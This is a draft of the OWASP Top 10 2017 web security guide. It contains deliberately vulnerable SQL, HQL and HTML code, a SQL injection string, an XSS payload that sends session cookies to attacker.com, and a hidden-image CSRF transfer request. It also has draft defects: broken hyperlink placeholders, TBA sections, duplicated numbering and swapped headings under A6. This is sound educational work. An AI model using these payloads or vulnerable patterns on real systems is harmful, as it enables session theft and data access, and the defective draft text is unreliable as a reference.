OWASP Top 10 2017-master (DRAFT)

September 2017

Foreword by OWASP Top 10 Project Leadership

TBA

- Torsten Gigler
- Brian Glas
- Neil Smithline
- Andrew van der Stock

Introduction

Welcome

Welcome to the OWASP Top 10 2017! This major update adds two new vulnerability categories for the first time: (1) Insufficient Attack Detection and Prevention and (2) Underprotected APIs. We made room for these two new categories by merging the two access control categories (2013-A4 and 2013-A7) back into Broken Access Control (which is what they were called in the OWASP Top 10 - 2004), and dropping 2013-A10: Unvalidated Redirects and Forwards, which was added to the Top 10 in 2010.

The OWASP Top 10 for 2017 is based primarily on 11 large datasets from firms that specialize in application security, including 8 consulting companies and 3 product vendors. This data spans vulnerabilities gathered from hundreds of organizations and over 50,000 real-world applications and APIs. The Top 10 items are selected and prioritized according

to this prevalence data, in combination with consensus estimates of exploitability, detectability, and impact.

The primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most important web application security weaknesses. The Top 10 provides basic techniques to protect against these high risk problem areas – and also provides guidance on where to go from here.

Warnings

Don't stop at 10. There are hundreds of issues that could affect the overall security of a web application as discussed in the OWASP Developer's Guide and the OWASP Cheat Sheet Series. These are essential reading for anyone developing web applications and APIs. Guidance on how to effectively find vulnerabilities in web applications and APIs is provided in the OWASP Testing Guide and the OWASP Code Review Guide.

Constant change. This Top 10 will continue to change. Even without changing a single line of your application's code, you may become vulnerable as new flaws are discovered and attack methods are refined. Please review the advice at the end of the Top 10 in "What's Next For Developers, Verifiers, and Organizations" for more information.

Think positive. When you're ready to stop chasing vulnerabilities and focus on establishing strong application security controls, OWASP is maintaining and promoting the Application Security Verification Standard (ASVS) as a guide to organizations and application reviewers on what to verify.

Use tools wisely. Security vulnerabilities can be quite complex and buried in mountains of code. In many cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with good tools.

Push left, right, and everywhere. Focus on making security an integral part of your culture throughout your development organization. Find out more in the OWASP Software Assurance Maturity Model (SAMM) and the Rugged Handbook.

Attribution

Thanks to Aspect Security for initiating, leading, and updating the OWASP Top 10 since its inception in 2003, and to its primary authors: Jeff Williams and Dave Wichers.

We'd like to thank the many organizations that contributed their vulnerability prevalence data to support the 2017 update, including these large data set providers:

Aspect Security, AsTech Consulting, Branding Brand, Contrast Security, EdgeScan, iBLISS, Minded Security, Paladion Networks, Softtek, Vantage Point, Veracode

For the first time, all the data contributed to a Top 10 release, and the full list of contributors, is publicly available.

We would like to thank in advance those who contribute significant constructive comments and time reviewing this update to the Top 10 and to:

- Neil Smithline – Generating the Wiki version
- Torsten Gigler - German translation

And finally, we'd like to thank in advance all the translators out there that will translate this release of the Top 10 into numerous different languages, helping to make the OWASP Top 10 more accessible to the entire planet.

Copyright and License

Project Leads, OWASP Top 10 2017 post RC1 to Final

Project Leads	Lead Authors	Contributors and Reviewers
Torsten Gigler, Brian Glas, Neil Smithline, Andrew van der Stock	TBA	TBA

Project Leads, OWASP Top 10 2017 to RC1

Project Leads	Lead Authors	Contributors and Reviewers
Dave Wichers	Dave Wichers, Jeff Williams	TBA

About OWASP

The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted. At OWASP you'll find free and open ...

- Application security tools and standards
- Complete books on application security testing, secure code development, and secure code review
- Standard security controls and libraries
- Local chapters worldwide
- Cutting edge research
- Extensive conferences worldwide
- Mailing lists

Learn more at: https://www.owasp.org

All of the OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in all of these areas.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost-effective information about application security. OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. Similar to many open source software projects, OWASP produces many types of materials in a collaborative, open way.

The OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP Board, Chapter Leaders, Project Leaders, and project members. We support innovative security research with grants and infrastructure.

Come join us!

A1 Injections

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
Application Specific	EASY	COMMON	AVERAGE	Impact Severe	Application Business Specific
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.	Attackers send simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.	Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, XPath, or NoSQL queries; OS	TBA.	Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.	Consider the business value of the affected data and the platform running the interpreter. All data could be stolen, modified, or deleted. Could your reputation be harmed?

commands; XML parsers, SMTP Headers, expression languages, etc. Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.

Am I vulnerable to attack?

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. In many cases, it is recommended to avoid the interpreter, or disable it (e.g., XXE), if possible. For SQL calls, use bind variables in all prepared statements and stored procedures, or avoid dynamic queries.

Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find use of interpreters and trace data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.

How do I prevent

Preventing injection requires keeping untrusted data separate from commands and queries.

The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful with APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.

If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP's Java Encoder and similar libraries provide such escaping routines.
Positive or "white list" input validation is also recommended, but is not a complete defense as many situations require special characters be allowed. If special characters are required, only approaches (1) and (2) above will make their use safe. OWASP's ESAPI has an extensible library of white list input validation routines.

Example Scenarios

Scenario #1: An application uses untrusted data in the construction of the following vulnerable SQL call:

```
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +
"'";
```

Scenario #2: Similarly, an application's blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):

```
Query HQLQuery = session.createQuery("FROM accounts
WHERE custID='" + request.getParameter("id") + "'");
```

In both cases, the attacker modifies the 'id' parameter value in her browser to send: `' or '1'='1`. For example:

http://example.com/app/accountView?id=' or '1'='1

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.

References

OWASP

- **Error! Hyperlink reference not valid.**

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

A2 Authentication and Session Management

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

Are session management assets like user credentials and session IDs properly protected? You may be vulnerable if:

- User authentication credentials aren't properly protected when stored using hashing or encryption. See 2017-A6.
- Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
- Session IDs are exposed in the URL (e.g., URL rewriting).
- Session IDs are vulnerable to session fixation attacks.
- Session IDs don't timeout, or user sessions or authentication tokens (particularly single sign-on (SSO) tokens) aren't properly invalidated during logout.
- Session IDs aren't rotated after successful login.
- Passwords, session IDs, and other credentials are sent over unencrypted connections. See 2017-A6.

See the ASVS requirement areas V2 and V3 for more details.

How do I prevent

The primary recommendation for an organization is to make available to developers:

- A single set of strong authentication and session management controls. Such controls should strive to:
- meet all the authentication and session management requirements defined in OWASP's Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).
- have a simple interface for developers.

Example Scenarios

Scenario #1: A travel reservations application supports URL rewriting, putting session IDs in the URL:

http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV&dest=Hawaii

An authenticated user of the site wants to let their friends know about the sale. User e-mails the above link without knowing they are also giving away their session ID. When the friends use the link they use user's session and credit card.

Scenario #2: Application's timeouts aren't set properly. User uses a public computer to access site. Instead of selecting "logout" the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and that browser is still authenticated.

Scenario #3: An insider or external attacker gains access to the system's password database. User passwords are not properly hashed and salted, exposing every users' password.

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

A3 Cross Site Scripting

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

You are vulnerable to Server XSS if your server-side code uses user-supplied input as part of the HTML output, and you don't use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have Client XSS. Ideally, you would avoid sending attacker-controllable data to unsafe JavaScript APIs, but escaping (and to a lesser extent) input validation can be used to make this safe.
Automated tools can find some XSS problems automatically.

However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.

How do I prevent

Preventing XSS requires separation of untrusted data from active browser content.

To avoid Server XSS, the preferred option is to properly escape untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.

To avoid Client XSS, the preferred option is to avoid passing untrusted data to JavaScript and other browser APIs that can generate active content. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP DOM based XSS Prevention Cheat Sheet.

For rich content, consider auto-sanitization libraries like OWASP's AntiSamy or the Java HTML Sanitizer Project.
Consider Content Security Policy (CSP) to defend against XSS across your entire site.

Example Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";

The attacker modifies the 'CC' parameter in his browser to:

'>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie'.

This attack causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See 2017-A8 for info on CSRF.

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
  OWASP Types of Cross-Site Scripting
  OWASP XSS Prevention Cheat Sheet
  OWASP DOM based XSS Prevention Cheat Sheet
  OWASP XSS Filter Evasion Cheat Sheet
  External
  CWE Entry 79 on Cross-Site Scripting

A3 Access Control

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

The best way to find out if an application is vulnerable to access control vulnerabilities is to verify that all data and function references have appropriate defenses. To determine if you are vulnerable, consider:
For data references, does the application ensure the user is authorized by using a reference map or access control check to ensure the user is authorized for that data?

For non-public function requests, does the application ensure the user is authenticated, and has the required roles or privileges to use that function?

Code review of the application can verify whether these controls are implemented correctly and are present everywhere they are required. Manual testing is also effective for identifying access control flaws. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.

How do I prevent

Preventing access control flaws requires selecting an approach for protecting each function and each type of data (e.g., object number, filename).

Check access. Each use of a direct reference from an untrusted source must include an access control check to ensure the user is authorized for the requested resource.

Use per user or session indirect object references. This coding pattern prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource's database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. OWASP's ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.

Automated verification. Leverage automation to verify proper authorization deployment. This is often custom.

Example Scenarios

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

```
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
```

An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.

- **Error! Hyperlink reference not valid.**

Scenario #2: An attacker simply force browses to target URLs. Admin rights are also required for access to the admin page.

- http://example.com/app/getappInfo
- http://example.com/app/admin_getappInfo

If an unauthenticated user can access either page, it's a flaw. If a non-admin can access the admin page, this is also a flaw.

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

- CWE Entry 285 on Improper Access Control (Authorization)
- CWE Entry 639 on Insecure Direct Object References
- CWE Entry 22 on Path Traversal (an example of a Direct Object Reference weakness)

A2 Security Misconfiguration

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

Is your application missing the proper security hardening across any part of the application stack? Including:

Is any of your software out of date? This software includes the OS, Web/App Server, DBMS, applications, APIs, and all components and libraries (see 2017-A9).

Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts, privileges)?

Are default accounts and their passwords still enabled and unchanged?
Does your error handling reveal stack traces or other overly informative error messages to users?

Are the security settings in your application servers, application frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values?

Without a concerted, repeatable application security configuration process, systems are at a higher risk.

How do I prevent

The primary recommendations are to establish all of the following:
A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be

configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment.

A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This process needs to include all components and libraries as well (see 2017-A9).

A strong application architecture that provides effective, secure separation between components.

An automated process to verify that configurations and settings are properly configured in all environments.

Example Scenarios

Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren't changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #2: Directory listing is not disabled on your web server. An attacker discovers they can simply list directories to find any file. The attacker finds and downloads all your compiled Java classes, which they decompile and reverse engineer to get all your custom code. Attacker then finds a serious access control flaw in your application.

Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws such as framework versions that are known to be vulnerable.

Scenario #4: App server comes with sample applications that are not removed from your production server. These sample applications have well known security flaws attackers can use to compromise your server.

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

- NIST Guide to General Server Hardening
- CWE Entry 2 on Environmental Security Flaws
- CIS Security Configuration Guides/Benchmarks

A6 Sensitive Information Disclosure

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

The first thing you have to determine is which data is sensitive enough to require extra protection. For example, passwords, credit card numbers, health records, and personal information should be protected. For all such data:

- Is any of this data stored in clear text long term, including backups of this data?
- Is any of this data transmitted in clear text, internally or externally? Internet traffic is especially dangerous.
- Are any old / weak cryptographic algorithms used?
- Are weak crypto keys generated, or is proper key management or rotation missing?
- Are any browser security directives or headers missing when sensitive data is provided by / sent to the browser?

And more … For a more complete set of problems to avoid, see ASVS areas Crypto (V7), Data Prot (V9), and SSL/TLS (V10).

How do I prevent

Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. Alternatives include not storing credit card numbers, using tokenization, or using public key encryption.

Scenario #2: A site simply doesn't use TLS for all authenticated pages. An attacker simply monitors network traffic (like an open wireless network), and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's session, accessing the user's private data.

Scenario #3: The password database uses unsalted hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password database. All of the unsalted hashes can be exposed with a rainbow table of precalculated hashes.

Example Scenarios

The full perils of unsafe cryptography, SSL/TLS usage, and data protection are well beyond the scope of the Top 10. That said, for all sensitive data, do the following, at a minimum:

- Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats.
- Don't store sensitive data unnecessarily. Discard it as soon as possible. Data you don't retain can't be stolen.
- Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Consider using FIPS 140 validated cryptographic modules.
- Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.
- Disable autocomplete on forms requesting sensitive data and disable caching for pages that contain sensitive data.

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

- CWE Entry 310 on Cryptographic Issues
- CWE Entry 312 on Cleartext Storage of Sensitive Information
- CWE Entry 319 on Cleartext Transmission of Sensitive Information
- CWE Entry 326 on Weak Encryption

A7 TBA

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

TBA

How do I prevent

TBA

Example Scenarios

TBA

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

TBA

A8 Cross site request forgery

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to CSRF

To check whether an application is vulnerable, see if any links and forms lack an unpredictable CSRF token. Without such a token, attackers can forge malicious requests. An alternate defense is to require the user to prove they intended to submit the request, such as through reauthentication.

Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets. Multistep transactions are not inherently immune. Also be aware that Server-Side Request Forgery (SSRF) is also possible by tricking apps and APIs into generating arbitrary HTTP requests.

Note that session cookies, source IP addresses, and other information automatically sent by the browser don't defend against CSRF since they are included in the forged requests. OWASP's CSRF Tester tool can help generate test cases to demonstrate the dangers of CSRF flaws.

How do I prevent

The preferred option is to use an existing CSRF defense. Many frameworks now include built in CSRF defenses, such as Spring, Play, Django, and AngularJS. Some web development languages, such as .NET do so as well. OWASP's CSRF Guard can automatically add CSRF defenses to Java apps. OWASP's CSRFProtector does the same for PHP or as an Apache filter.

Otherwise, preventing CSRF usually requires the inclusion of an unpredictable token in each HTTP request. Such tokens should, at a minimum, be unique per user session.

The preferred option is to include the unique token in a hidden field. This includes the value in the body of the HTTP request, avoiding its exposure in the URL.

The unique token can also be included in the URL or a parameter. However, this runs the risk that the token will be exposed to an attacker.
Consider using the "SameSite=strict" flag on all cookies, which is increasingly supported in browsers.

Example Attack Scenarios

The application allows a user to submit a state changing request that does not include anything secret. For example:

- **Error! Hyperlink reference not valid.**

So, the attacker constructs a request that will transfer money from the victim's account to the attacker's account, and then embeds this attack in an image request or iframe stored on various sites under the attacker's control:

<img
src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />

If the victim visits any of the attacker's sites while already authenticated to example.com, these forged requests will automatically include the user's session info, authorizing the attacker's request.

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

- CWE Entry 352 on CSRF

A9 Using Compenents with Known Vulnerabilities

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

The challenge is to continuously monitor the components (both client-side and server-side) you are using for new vulnerability reports. This monitoring can be very difficult because vulnerability reports are not standardized, making them hard to find and search for the details you need (e.g., the exact component in a product family that has the vulnerability). Worst of all, many vulnerabilities never get reported to central clearinghouses like **Error! Hyperlink reference not valid.** and **Error! Hyperlink reference not valid.**.

Determining if you are vulnerable requires searching these databases, as well as keeping abreast of project mailing lists and announcements for anything that might be a vulnerability. This process can be done manually, or with automated tools. If a vulnerability in a component is discovered, carefully evaluate whether you are actually vulnerable. Check to see if your code uses the vulnerable part of the component and whether the flaw could result in an impact you care about. Both checks can be difficult to perform as vulnerability reports can be deliberately vague.

How do I prevent

Most component projects do not create vulnerability patches for old versions. So the only way to fix the problem is to upgrade to the next version, which can require other code changes. Software projects should have a process in place to:

- Continuously inventory the versions of both client-side and server-side components and their dependencies using tools like versions, DependencyCheck, retire.js, etc.
- Continuously monitor sources like National Vulnerability Database (NVD) for vulnerabilities in your components. Use software composition analysis tools to automate the process.
- Analyze libraries to be sure they are actually invoked at runtime before making changes, as the majority of components are never loaded or invoked.
- Decide whether to upgrade component (and rewrite application to match if needed) or deploy a virtual patch that analyzes HTTP traffic, data flow, or code execution and prevents vulnerabilities from being exploited.

Example Scenarios

Components almost always run with the full privilege of the application, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g., coding error) or intentional (e.g., backdoor in component). Some example exploitable component vulnerabilities discovered are:

- Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)
- Struts 2 Remote Code Execution – Sending an attack in the Content-Type header causes the content of that header to be evaluated as an OGNL expression, which enables execution of arbitrary code on the server.

- Applications using a vulnerable version of either component are susceptible to attack as both components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- OWASP Dependency Check (for Java and .NET libraries)
- OWASP Virtual Patching Best Practices

External

- The Unfortunate Reality of Insecure Libraries
- MITRE Common Vulnerabilities and Exposures (CVE) search
- National Vulnerability Database (NVD)
- Retire.js for detecting known vulnerable JavaScript libraries
- Node Libraries Security Advisories
- Ruby Libraries Security Advisory Database and Tools

A10 TBA

Threat agents	Exploitability	Prevalance	Detectability	Technical Impact	Business Impacts
App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
TBA	TBA	TBA	TBA.	TBA	

Am I vulnerable to attack?

TBA

How do I prevent

TBA

Example Scenarios

TBA

References

OWASP

- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**
- **Error! Hyperlink reference not valid.**

External

TBA

+T what's Next for Security Testing

Establish Conitinuous Application Security Testing

Building code securely is important. But it's critical to verify that the security you intended to build is actually present, correctly implemented, and used everywhere it was supposed to be. The goal of application security testing is to provide this evidence. The work is difficult and complex, and modern high-speed development processes like Agile and DevOps have put extreme pressure on traditional approaches and tools. So we strongly encourage you to put some thought into how you are going to focus on what's important across your entire application portfolio, and do it cost-effectively.

Modern risks move quickly, so the days of scanning or penetration testing an application for vulnerabilities once every year or so are long gone. Modern software development requires continuous application security testing across the entire software development lifecycle. Look to enhance existing development pipelines with security automation that doesn't slow development. Whatever approach you choose, consider the annual cost to test, triage, remediate, retest, and redeploy a single application, multiplied by the size of your application portfolio.

Activity	Description
Application Security Requirements	To produce a secure web application, you must define what secure means for that application. OWASP recommends you use the OWASP Application Security Verification Standard (ASVS), as a guide for setting the security requirements for your application(s). ASVS has been updated significantly in the past few years, with version 3.0.1 being released mid 2016. If you're outsourcing, consider the OWASP Secure Software Contract Annex.
Application Security Architecture	Rather than retrofitting security into your applications and APIs, it is far more cost effective to design the security in from the start. OWASP recommends the OWASP Prevention Cheat Sheets and the OWASP Developer's Guide as good starting points for guidance on how to

	design security in from the beginning. The Cheat Sheets have been updated and expanded significantly since the 2013 Top 10 was released.
---	---
Security Standard Controls	Building strong and usable security controls is difficult. Using a set of standard security controls radically simplifies the development of secure applications and APIs. OWASP recommends the OWASP Enterprise Security API (ESAPI) project as a model for the security APIs needed to produce secure web applications and APIs. ESAPI provides a reference implementation in Java. Many popular frameworks come with standard security controls for authorization, validation, CSRF, etc.
---	---
Secure Development Lifecycle	To improve the process your organization follows when building applications and APIs, OWASP recommends the OWASP Software Assurance Maturity Model (SAMM). This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization. A significant update to Open SAMM was released in 2017.
---	---
Application Security Education	The OWASP Education Project provides training materials to help educate developers on web application security. For hands-on learning about vulnerabilities, try OWASP WebGoat, WebGoat.NET, OWASP NodeJS Goat), or the OWASP Broken Web Applications Project. To stay current, come to an OWASP AppSec Conference, OWASP Conference Training, or local OWASP Chapter meetings.
---	---

There are numerous additional OWASP resources available for your use. Please visit the OWASP Projects page, which lists all the Flagship, Labs, and Incubator projects in the OWASP project inventory. Most OWASP resources are available on our wiki, and many OWASP documents can be ordered in hardcopy or as eBooks.

+T What's Next for Security Testing

Establish Continuous Application Security Testing

Building code securely is important. But it's critical to verify that the security you intended to build is actually present, correctly implemented, and used everywhere it was supposed to be. The goal of application security testing is to provide this evidence. The work is difficult and complex, and modern high-speed development processes like Agile and DevOps have put extreme pressure on traditional approaches and tools. So we strongly

encourage you to put some thought into how you are going to focus on what's important across your entire application portfolio, and do it cost-effectively.

Modern risks move quickly, so the days of scanning or penetration testing an application for vulnerabilities once every year or so are long gone. Modern software development requires continuous application security testing across the entire software development lifecycle. Look to enhance existing development pipelines with security automation that doesn't slow development. Whatever approach you choose, consider the annual cost to test, triage, remediate, retest, and redeploy a single application, multiplied by the size of your application portfolio.

Activity	Description
Understand the Threat Model	Before you start testing, be sure you understand what's important to spend time on. Priorities come from the threat model, so if you don't have one, you need to create one before testing. Consider using OWASP ASVS and the OWASP Testing Guide as an input and don't rely on tool vendors to decide what's important for your business.
Understand Your SDLC	Your approach to application security testing must be highly compatible with the people, processes, and tools you use in your software development lifecycle (SDLC). Attempts to force extra steps, gates, and reviews are likely to cause friction, get bypassed, and struggle to scale. Look for natural opportunities to gather security information and feed it back into your process.
Testing Strategies	Choose the simplest, fastest, most accurate technique to verify each requirement. The OWASP Benchmark Project, which helps measure the ability of security tools to detect many OWASP Top 10 risks, may be helpful in selecting the best tools for your specific needs. Be sure to consider the human resources required to deal with false positives as well as the serious dangers of false negatives.
Achieving Coverage and Accuracy	You don't have to start out testing everything. Focus on what's important and expand your verification program over time. That means expanding the set of security defenses and risks that are being automatically verified, as well as expanding the set of applications and APIs being covered. The goal is to get to where the essential security of all your applications and APIs is verified continuously.
Making Findings Awesome	No matter how good you are at testing, it won't make any difference unless you communicate it effectively. Build trust by showing you understand how the application works. Describe clearly how it can be abused without "lingo" and include an attack scenario to make it real. Make a realistic estimation of how hard the vulnerability is to discover and exploit, and how bad that would be. Finally, deliver findings in the tools development teams are already using, not PDF files.

+O What's Next for Organizations

Start Your Application Security Program Now

Application security is no longer optional. Between increasing attacks and regulatory pressures, organizations must establish an effective capability for securing their applications and APIs. Given the staggering amount of code in the numerous applications and APIs already in production, many organizations are struggling to get a handle on the enormous volume of vulnerabilities. OWASP recommends that organizations establish an application security program to gain insight and improve security across their application portfolio. Achieving application security requires many different parts of an organization to work together efficiently, including security and audit, software development, and business and executive management. It requires security to be visible, so that all the different players can see and understand the organization's application security posture. It also requires focus on the activities and outcomes that actually help improve enterprise security by reducing risk in the most cost effective manner. Some of the key activities in effective application security programs include:

Activity	Description
Get Started	* Establish an application security program and drive adoption.

- Conduct a capability gap analysis comparing your organization to your peers to define key improvement areas and an execution plan.
- Gain management approval and establish an application security awareness campaign for the entire IT organization.|
  | Risk Based Portfolio Approach | * Identify and prioritize your application portfolio from an inherent risk perspective.
  *Create an application risk profiling model to measure and prioritize all your applications and APIs.
- Establish assurance guidelines to properly define coverage and level of rigor required.
- Establish a common risk rating model with a consistent set of likelihood and impact factors reflective of your organization's tolerance for risk. |
  | Enable with a Strong Foundation | * Establish a set of focused policies and standards that provide an application security baseline for all development teams to adhere to.
- Define a common set of reusable security controls that complement these policies and standards and provide design and development guidance on their use.
- Establish an application security training curriculum that is required and targeted to different development roles and topics. |
  | Integrate Security into Existing Processes | Define and integrate secure implementation and verification activities into existing development and operational processes. Activities include Threat Modeling, Secure Design & Review, Secure Coding & Code Review, Penetration Testing, and Remediation.
  Provide subject matter experts and support services for development and project teams to be successful. |
  | Provide Management Visibility | * Manage with metrics. Drive improvement and

funding decisions based on the metrics and analysis data captured. Metrics include adherence to security practices / activities, vulnerabilities introduced, vulnerabilities mitigated, application coverage, defect density by type and instance counts, etc.

- Analyze data from the implementation and verification activities to look for root cause and vulnerability patterns to drive strategic and systemic improvements across the enterprise. |

+R About Risks

Defining our terms

One of the long standing tensions within the information security industry is the misunderstanding or misuse of common terms, such as threats, threat agents, weaknesses, defects, flaws, vulnerabilities, and risks. As such, we are defining our terms to ensure that there is no confusion.

Term	Description
Data asset	A data asset is something tangible processed and stored by an application or API, such as an identity store, customer database, health records, tax returns, bank or mortgage accounts, and so on.
